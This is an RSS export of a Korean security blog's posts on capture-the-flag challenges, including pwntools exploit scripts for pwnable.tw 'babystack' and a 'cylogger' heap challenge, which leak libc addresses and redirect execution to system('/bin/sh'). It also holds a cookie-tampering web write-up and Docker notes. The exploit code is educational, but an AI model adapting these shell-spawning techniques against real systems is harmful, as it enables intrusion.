    auto leftToken = visitor(node-&amp;gt;children[0]);
    auto rightToken = visitor(node-&amp;gt;children[1]);
    if (leftToken-&amp;gt;type == T::INT) left = leftToken-&amp;gt;value;
    else if(leftToken-&amp;gt;type == T::STR) left = atoi(leftToken-&amp;gt;str);
    else throw &quot;Syntax Error&quot;;
    if (rightToken-&amp;gt;type == T::INT) right = rightToken-&amp;gt;value;
    else if(rightToken-&amp;gt;type == T::STR) right = atoi(rightToken-&amp;gt;str);
    else throw &quot;Syntax Error&quot;;
    switch (node-&amp;gt;token-&amp;gt;type) {
        case T::PLUS:
            return make_shared&lt;token&gt;(T::INT, left + right);
        break;
        case T::MINUS:
            return make_shared&lt;token&gt;(T::INT, left - right);
        break;
        case T::MUL:
            return make_shared&lt;token&gt;(T::INT, left * right);
        break;
        case T::DIV:
            return make_shared&lt;token&gt;(T::INT, left / right);
        break;
    };
};

sToken Calc::visitId(sNode node) {
    sToken result = nullptr;
    auto symbol = &amp;amp;SymTab;
    while (symbol-&amp;gt;next != &amp;amp;SymTab) {
        symbol = symbol-&amp;gt;next;
        if (!strncmp(node-&amp;gt;token-&amp;gt;str, symbol-&amp;gt;id, strlen(symbol-&amp;gt;id))) {
            result = symbol-&amp;gt;token;
            break;
        }
    };
    return result;
};

sToken Calc::visitAssign(sNode node) {
    auto var = node-&amp;gt;children[0];
    auto value = visitor(node-&amp;gt;children[1]);
    if (var-&amp;gt;token-&amp;gt;type != T::ID || !value) throw &quot;Syntax Error&quot;;
    if (auto variable = visitId(var)) {
        if (variable-&amp;gt;type == T::STR &amp;amp;&amp;amp; value-&amp;gt;type == T::STR) {
            if (variable-&amp;gt;size &amp;lt; value-&amp;gt;size) variable-&amp;gt;str = (char*)realloc(variable-&amp;gt;str, value-&amp;gt;size + 1);
            if (!variable-&amp;gt;str) throw &quot;Internal Error&quot;;
            variable-&amp;gt;size = strlen(variable-&amp;gt;str);
            strcpy(variable-&amp;gt;str, value-&amp;gt;str);
        } else if (variable-&amp;gt;type == T::INT &amp;amp;&amp;amp; value-&amp;gt;type == T::STR) variable-&amp;gt;value = atoi(value-&amp;gt;str);
        else variable-&amp;gt;value = value-&amp;gt;value;
    } else {
        auto symbol = &amp;amp;SymTab;
        while (symbol-&amp;gt;next != &amp;amp;SymTab) symbol = symbol-&amp;gt;next;
        symbol-&amp;gt;next = new Symbol(var-&amp;gt;token-&amp;gt;str, value);
        symbol-&amp;gt;next-&amp;gt;next = &amp;amp;SymTab;
    }
    return value;
};

void Calc::interpret(sNode AST) {
    auto result = visitor(AST);
    if (result-&amp;gt;type == T::INT) {
        auto buf = to_string(result-&amp;gt;value);
        print((char*)buf.c_str(), buf.length());
    } else {
        if (result-&amp;gt;size &amp;gt; 4) print(result-&amp;gt;str, 4);
        else print(result-&amp;gt;str, result-&amp;gt;size);
    }
};

int main() {
    SymTab.next = &amp;amp;SymTab;
    signal(SIGALRM, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    cout &amp;lt;&amp;lt; &quot;Calc 0.31337 (&quot; __DATE__ &quot;, &quot; __TIME__ &quot;)&quot; &amp;lt;&amp;lt; endl;
    while (true) {
        string input;
        alarm(5);
        print((char*)&quot;&amp;gt;&amp;gt;&amp;gt; &quot;, 4);
        getline(cin, input);
        try {
            shared_ptr&lt;lexer&gt;lexer(new Lexer(input));
            shared_ptr&lt;parser&gt;parser(new Parser(lexer));
            shared_ptr&lt;calc&gt;calc(new Calc());
            calc-&amp;gt;interpret(parser-&amp;gt;parse());
        } catch(const char *s) {
            print((char*)s, strlen(s));
        }
        alarm(0);
        print((char*)&quot;\n&quot;, 1);
    }
    return 0;
}
&lt;/calc&gt;&lt;/parser&gt;&lt;/lexer&gt;&lt;/token&gt;&lt;/token&gt;&lt;/token&gt;&lt;/token&gt;&lt;/token&gt;&lt;/node&gt;&lt;/node&gt;&lt;/node&gt;&lt;/node&gt;&lt;/node&gt;&lt;/lexer&gt;&lt;/token&gt;&lt;/lexer&gt;&lt;/node&gt;&lt;/shared_ptr&lt;node&gt;&lt;/token&gt;&lt;/token&gt;&lt;/unistd.h&gt;&lt;/csignal&gt;&lt;/cstring&gt;&lt;/cstdlib&gt;&lt;/vector&gt;&lt;/memory&gt;&lt;/iostream&gt;&lt;/code&gt;
&lt;/pre&gt;</description>
      <category>Security/Pwnable</category>
      <author>Cdor1</author>
      <guid isPermaLink="true">https://cdor1.tistory.com/211</guid>
      <comments>https://cdor1.tistory.com/211#entry211comment</comments>
      <pubDate>Thu, 16 Nov 2017 01:32:11 +0900</pubDate>
    </item>
    <item>
      <title>Simple Docker Command</title>
      <link>https://cdor1.tistory.com/210</link>
      <description>&lt;p style=&quot;text-align: center;&quot;&gt;This post described centered on pwnable.tw docker environment&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;1. Build container&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;Enter this command in the path containing the Dockerfile&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;docker build -t [name]:[tag]&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;docker build -t critical_heap:1.0&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;2. Check container&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;docker images&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;3. Run container&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;docker run -it [name]:[tag] [command]&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;docker run -it critical_heap:1.0 /bin/bash&lt;/p&gt;</description>
      <category>Security/Pwnable</category>
      <author>Cdor1</author>
      <guid isPermaLink="true">https://cdor1.tistory.com/210</guid>
      <comments>https://cdor1.tistory.com/210#entry210comment</comments>
      <pubDate>Wed, 1 Nov 2017 03:16:04 +0900</pubDate>
    </item>
    <item>
      <title>noe.systems Newbie - Bakery</title>
      <link>https://cdor1.tistory.com/204</link>
      <description>&lt;p style=&quot;text-align: center;&quot;&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 820px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9990DD3359B81D1F05&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9990DD3359B81D1F05&quot; width=&quot;820&quot; height=&quot;293&quot; filename=&quot;Screen Shot 2017-09-13 at 2.43.13 AM.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;noe.systems 사이트에 접속해서 Newbie 카테고리의 Bakery 문제를 보았다.&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 768px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9996AE3359B81D2004&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9996AE3359B81D2004&quot; width=&quot;768&quot; height=&quot;310&quot; filename=&quot;Screen Shot 2017-09-13 at 2.43.25 AM.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;go 버튼을 눌러 문제로 들어오니 Hello! guest라는 문자열을 띄워주고 admin이 아니라면 페이지를 읽을 수 없다는 말을 한다.&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-size: 18.6667px;&quot;&gt;쿠키를 이용해서 클라이언트의 정보를 비교하는 것 같다.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-size: 18.6667px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-size: 18.6667px;&quot;&gt;#쿠키란?&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-size: 18.6667px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-size: 18.6667px;&quot;&gt;1. 쿠키 (Cookie)&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-size: 18.6667px;&quot;&gt;- 서버에 접속시 접속한 클라이언트의 정보를 클라이언트에 저장한다.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-size: 18.6667px;&quot;&gt;- 이후에 서버로 전송되는 요청에는 쿠키가 가지고 있는 정보가 같이 포함되어서 전송&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-size: 18.6667px;&quot;&gt;- 크기는 4KB이하&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-size: 18.6667px;&quot;&gt;- 쿠키는 이름, 값, 유효기간, 도메인, 경로 등으로 구성&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-size: 18.6667px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 450px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9991053359B81D2005&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9991053359B81D2005&quot; width=&quot;450&quot; height=&quot;348&quot; filename=&quot;Screen Shot 2017-09-13 at 2.43.42 AM.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-size: 18.6667px;&quot;&gt;클라이언트의 정보를 저장하는 쿠키를 한번 확인해 보자, 크롬 브라우저 추가 프로그램 중 EditThisCookie를 받고 확인해보면 될 것 같다.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 820px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9991113359B81D2105&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9991113359B81D2105&quot; width=&quot;820&quot; height=&quot;641&quot; filename=&quot;Screen Shot 2017-09-13 at 2.43.54 AM.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 18.6667px;&quot;&gt;guest로 저장된 쿠키값이 보인다.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 820px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99911E3359B81D2105&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99911E3359B81D2105&quot; width=&quot;820&quot; height=&quot;647&quot; filename=&quot;Screen Shot 2017-09-13 at 2.44.09 AM.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;admin으로 바꾸고 새로고침을 한번 해보자.&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 720px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9996B93359B81D2104&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9996B93359B81D2104&quot; width=&quot;720&quot; height=&quot;222&quot; filename=&quot;Screen Shot 2017-09-13 at 2.44.20 AM.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;플래그(키)가 나왔고 답안창에 인증 하면 된다.&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>Security/Web</category>
      <author>Cdor1</author>
      <guid isPermaLink="true">https://cdor1.tistory.com/204</guid>
      <comments>https://cdor1.tistory.com/204#entry204comment</comments>
      <pubDate>Wed, 13 Sep 2017 02:50:45 +0900</pubDate>
    </item>
    <item>
      <title>pwnable.tw babystack</title>
      <link>https://cdor1.tistory.com/201</link>
      <description>&lt;pre&gt;&lt;code&gt;
from pwn import *

#s = remote('chall.pwnable.tw', 10205)
s = process('./babystack',env={'LD_PRELOAD':'./libc_64.so.6'})

password = ''
libc_leak = ''
def input_passwd(passwd):
    s.recvuntil('&amp;gt;&amp;gt; ')
    s.sendline('1')
    s.recvuntil('Your passowrd :')
    s.send(passwd)
    return s.recvuntil('!')

def cp(data):
    s.recvuntil('&amp;gt;&amp;gt; ')
    s.sendline('3')
    s.recvuntil(' :')
    s.send(data)

for i in range(0, 16):
    for j in range(1, 0x100):
        b = input_passwd(password + struct.pack('&lt;b',j)+'\x00') if=&quot;&quot; b=&quot;&quot; !=&quot;Failed !&quot; :=&quot;&quot; password=&quot;&quot; +=&quot;struct.pack('&lt;B',j)&quot; print=&quot;&quot; list(password)=&quot;&quot; s.recvuntil('=&quot;&quot;&gt;&amp;gt; ')
            s.sendline('1')
            break

input_passwd((password + '\x00').ljust(0x48, 'a'))
cp('b'*24)
s.sendline('1')

for a in range(0, 6):
    for c in range(1, 0x100):
        b = input_passwd('a'*8 + libc_leak + struct.pack('&lt;b',c) +'\x00')=&quot;&quot; if=&quot;&quot; b=&quot;&quot; !=&quot;Failed !&quot; :=&quot;&quot; libc_leak=&quot;&quot; +=&quot;struct.pack('&lt;B',c)&quot; print=&quot;&quot; list(libc_leak)=&quot;&quot; s.recvuntil('=&quot;&quot;&gt;&amp;gt; ')
            s.sendline('1')
            break

libc_leak = u64(libc_leak + '\x00\x00')
libc_base = libc_leak - 0x78439
system = libc_base + 0x45390
log.info('libc_leak : ' + hex(libc_leak))
log.info('libc_base : ' + hex(libc_base))
log.info('system : ' + hex(system))

payload = p64(0)
payload += 'c'*0x38
payload += password
payload += 'd'*0x18
payload += p64(system)
input_passwd(payload)
cp('A'*8)

s.sendline('2;sh\x00')
#make padding
#cover return addr
#2;/bin/sh\x00
s.interactive()&lt;/b',c)&gt;&lt;/b',j)+'\x00')&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p style=&quot;text-align: center;&quot;&gt;스택 피보팅 해주면서 strncmp로 패스워드와 libc leak. strcpy이후 피보팅되어서 select가르키니까 rdi에 2;sh\x00들어가고 get shell&lt;br /&gt;&lt;/p&gt;</description>
      <category>Security/Pwnable</category>
      <author>Cdor1</author>
      <guid isPermaLink="true">https://cdor1.tistory.com/201</guid>
      <comments>https://cdor1.tistory.com/201#entry201comment</comments>
      <pubDate>Thu, 31 Aug 2017 16:06:11 +0900</pubDate>
    </item>
    <item>
      <title>WHL_Cykor - Cylogger</title>
      <link>https://cdor1.tistory.com/200</link>
      <description>&lt;p style=&quot;text-align: center;&quot;&gt;서브취약점(OOB-Out Of Bound)&amp;nbsp;브포해서 풀었지만 실수로 쉘을 날려보낸 슬픈 스토리가 있는 익스코드이다.&lt;br /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
from pwn import *
#s = process('./cylogger', env={'LD_PRELOAD':'./libc.so.6'})

while True:
	try:
		s = remote('10.10.200.203', 10002)
		def Leave(select, size, data):
			s.recvuntil('&amp;gt;&amp;gt; ')
			s.sendline('L')
			s.recvuntil('&amp;gt;&amp;gt; ')
			s.sendline(str(select))
			if(select == 1):
				s.recvuntil('Size of Log &amp;gt;&amp;gt;')
				s.sendline(str(size))
			s.sendline(data)

		def See(index):
			s.recvuntil('&amp;gt;&amp;gt; ')
			s.sendline('S')
			s.recvuntil('Index &amp;gt;&amp;gt; ')
			s.sendline(str(index))

		def Remove(index):
			s.recvuntil('&amp;gt;&amp;gt; ')
			s.sendline('R')
			s.recvuntil('Index &amp;gt;&amp;gt; ')
			s.sendline(str(index))

		def reseT():
			s.recvuntil('&amp;gt;&amp;gt; ')
			s.sendline('T')

		def Change(index, data):
			s.recvuntil('&amp;gt;&amp;gt; ')
			s.sendline('C')
			s.recvuntil('Index &amp;gt;&amp;gt; ')
			s.sendline(str(index))
			s.sendline(data)

		def All():
			s.recvuntil('&amp;gt;&amp;gt; ')
			s.sendline('A')

		print s.recvuntil('Ur Name? &amp;gt;&amp;gt;')
		s.sendline('cdor1')
		Leave(1, 1024, 'aaaa')
		Leave(1, 1024, 'bbbb')
		Leave(1, 1024, 'cccc')
		Remove(0)
		Remove(1)
		Leave(1, 1024, 'bbbbbbbb')
		See(1)
		s.recvuntil('bbbbbbbb\n')
		leak = u64(('\x68' + s.recv(5)).ljust(8, '\x00'))
		base = leak - 0x3c2068
		system = base + 0x456a0
		free_hook = base + 0x3c3788
		log.info('leak : ' + hex(leak))
		log.info('base : ' + hex(base))
		log.info('system : ' + hex(system))
		log.info('free_hook : ' + hex(free_hook))
		Change(1, 'b'*16)
		See(1)
		s.recvuntil('Log : bbbbbbbbbbbbbbbb\n')
		heap_leak = u64(('\x00' + s.recv(5)).ljust(8, '\x00'))
		log.info('heap_leak : ' + hex(heap_leak))
		Remove(1)
		Remove(2)

		payload = p64(heap_leak + 0x28)
		payload += p64(0)*2
		payload += p64(heap_leak + 0x28 + 8)
		payload += p64(1)
		payload += p64(free_hook)
		payload += p64(0x64)
		payload += p64(heap_leak + 0x28 + 8) * 120

		Leave(1, 1024, payload)
		for i in range(0, 100):
			Leave(1, 1024, p64(heap_leak + 0x28 + 8) * 127)
		reseT()

		log.info('leak : ' + hex(leak))
		log.info('base : ' + hex(base))
		log.info('system : ' + hex(system))
		log.info('free_hook : ' + hex(free_hook))
		log.info('heap_leak : ' + hex(heap_leak))
		#raw_input()
		Change(606858, p64(system))
		Leave(1, 100, '/bin/sh\x00')
		Remove(0)

		s.sendline(&quot;ls&quot;)
		print p.recv()
		s.sendline(&quot;./flag_x&quot;)
		print p.recv()
		s.interactive()
	except Exception as e:
		pass
	finally:
		s.close()
&lt;/code&gt;&lt;/pre&gt;&lt;p style=&quot;text-align: center;&quot;&gt;원래 취약점 익스코드 by Demon-이진우&lt;br /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
from pwn import *
s = process('./cylogger', env={'LD_PRELOAD':'./libc.so.6'})
#s = remote('10.10.200.203', 10002)

# login
name = 'qwer'
s.recvuntil('&amp;gt;&amp;gt;')
s.sendline(name)

def go(n):
    nl = [0,'L','S','R','T','C','A','E']
    s.recvuntil('xit')
    s.recvuntil('&amp;gt;&amp;gt;')
    s.sendline(nl[n])

def make(t,m,sz=None):
    go(1)
    s.recvuntil('&amp;gt;&amp;gt;')
    s.sendline(str(t))
    if t == 2:
        s.send(m)
    else:
        s.recvuntil('ize of Log &amp;gt;&amp;gt;')
        s.sendline(str(sz))
        s.send(m)

def rm(t): 
    go(3)
    s.recvuntil('Index &amp;gt;&amp;gt;')
    s.sendline(str(t))

def se(t,tt):
    go(5)
    s.recvuntil('Index &amp;gt;&amp;gt;')
    s.sendline(str(t))
    s.send(tt)

for i in range(3):
    make(1,'a',256)

rm(2)
make(1,'a',256)
go(6)
s.recvuntil('[2')
s.recvuntil('Log : a')
lbc = u64('\x00'+s.recvline().replace('\n','').ljust(7,'\x00'))-2816
rm(3);rm(2);rm(1);rm(0)
make(2,'A')
go(6)
s.recvuntil('[0] Log : A')
hp = u64('\x00'+s.recvline().replace('\n','').ljust(7,'\x00'))
rm(0)
for i in range(2):
    make(1,'A'*240+'\x00'*8+'\x30'+'\x00'*7,256)
rm(1);rm(0)
raw_input()
print '0x%x'%lbc
print '0x%x'%hp


'''1. [L]eave log
2. [S]ee my log
3. [R]emove my log
4. rese[T] my log
5. [C]hange my log
6. [A]ll log'''

# go(4)
make(2,'qwer')
make(2,'asdaf')
make(2,'zxcv')
make(2,'1234')
#make(2,'5678')
rm(0)
raw_input('1')
go(4)
raw_input('2')
make(2,'1'*20)
make(2,(p64(0x30)*3)[:-1])
raw_input('3')
#make(3,'3'*20)
make(1,'A'*40,80)
rm(3)
rm(1)
rm(0)

make(1,p64(hp+0x380)+'FASTBINCONTROL',40)
raw_input('4')
rm(1)
raw_input('5')
make(2,'tmp')
raw_input('6')
#make(2,'BOOMB')
make(2,'A'*8+p32(1)+p32(0)+p64(lbc+2800)+p32(8)) #make fake
se(0,p64(lbc-2947503))

s.interactive()
&lt;/code&gt;
&lt;/pre&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>Security/Pwnable</category>
      <author>Cdor1</author>
      <guid isPermaLink="true">https://cdor1.tistory.com/200</guid>
      <comments>https://cdor1.tistory.com/200#entry200comment</comments>
      <pubDate>Wed, 30 Aug 2017 01:39:39 +0900</pubDate>
    </item>
    <item>
      <title>2017_Inc0gnito_NOE_systems_final.pptx</title>
      <link>https://cdor1.tistory.com/199</link>
      <description>&lt;p style=&quot;text-align: center;&quot;&gt;인코그니토 noe.systems 운영 관련 발표자료입니다.&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;https://drive.google.com/file/d/0By7HICPJ1Bt8aUQ3dlpldWdwdUk/view?usp=sharing&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>Life/Daily Life</category>
      <author>Cdor1</author>
      <guid isPermaLink="true">https://cdor1.tistory.com/199</guid>
      <comments>https://cdor1.tistory.com/199#entry199comment</comments>
      <pubDate>Fri, 25 Aug 2017 11:19:49 +0900</pubDate>
    </item>
  </channel>
</rss>